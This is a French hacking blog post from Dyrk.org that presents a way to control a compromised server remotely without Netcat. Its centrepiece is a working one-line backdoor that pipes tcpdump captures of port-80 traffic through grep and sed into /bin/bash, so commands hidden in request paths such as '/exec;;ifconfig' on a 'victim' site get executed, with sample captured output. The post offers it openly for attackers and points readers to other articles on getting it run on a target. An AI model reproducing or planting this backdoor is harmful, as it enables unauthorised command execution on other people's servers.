Dyrk.org
Do You Really Know

 

Coucou la compagnie, excellent Lundi à tous,

 

Une vidéo est en cours de publication de Youtube, aussi, si vous tombez sur cet article, je vous invite à repasser, car je la partagerais ici, elle est assez longue à uploader (600 Mo) ….

[Edit]
C’est bon, c’est en ligne ;) !!!!

 

 

 

 

 

 

Prendre le contrôle d’un serveur avec Netcat c’est rigolo, sauf que beaucoup de personnes connaissent un peu cette ruse de sioux, et s’en prémunissent en désinstallant Netcat …

 

Aussi, j’ai passé un peu de temps à mettre sur pied un moyen permettant de réaliser aussi la prise de contrôle d’un serveur à distance sans Netcat !

 

C’est là que m’est apparu la solution …

 

TCPDUMP  !!!!

 

 

C’est l’outil idéal pour afficher ce qui se passe sur votre réseau !!!

 

N’ayant accès qu’au frontal Web d’un serveur (un site web => port 80 / 443), nous pourrions alors l’utiliser pour « sniffer » un peu ce qui se passe là où nous sommes ;)

 

De ce fait, en appliquant des filtres, nous pourrions faire en sorte qu’il ne récupère que les requêtes que nous lui envoyons …

Ensuite avec un petit parsing, ces requêtes deviendraient alors des lignes de commande PUIS seraient envoyées à un interpréteur de commande : bash, sh, zsh, …

 

Voici donc la fameuse ligne de commande :

tcpdump -A port 80  | while read line; do echo $line | grep « exec;; » | sed -e ‘s/.*\/exec\;\;//g’ | sed -e ‘s/HTTP\/1\.1\r//g’ | sed -e ‘s/%20/ /g’ | /bin/bash ; done

 

tcpdump, écoute ce qu’il se passe sur le port 80, pour chaque ligne qui apparaît, nous récupérons uniquement les lignes contenant le mot-clé qui nous identifie, ici « exec;; »

Puis nous nettoyons alors les lignes (requêtes) …

Ainsi, si nous nous rendons sur l’adresse suivante : http://site-de-notre-victime/exec;;ifconfig

TCPDUMP récupérera ceci  :

E.. [email protected]%..%.z….P.C……P…m…GET /exec;;ifconfig HTTP/1.1

Qui une fois formaté ressemblera à ça :

ifconfig

Nous venons alors de récupérer une ligne de commande que nous pouvons exécuter ;)

 

Bref, la chose la plus complexe, pour vous, sera juste de faire exécuter sur le serveur cette ligne de commande, quelques recherches sur Dyrk feront alors votre bonheur ;)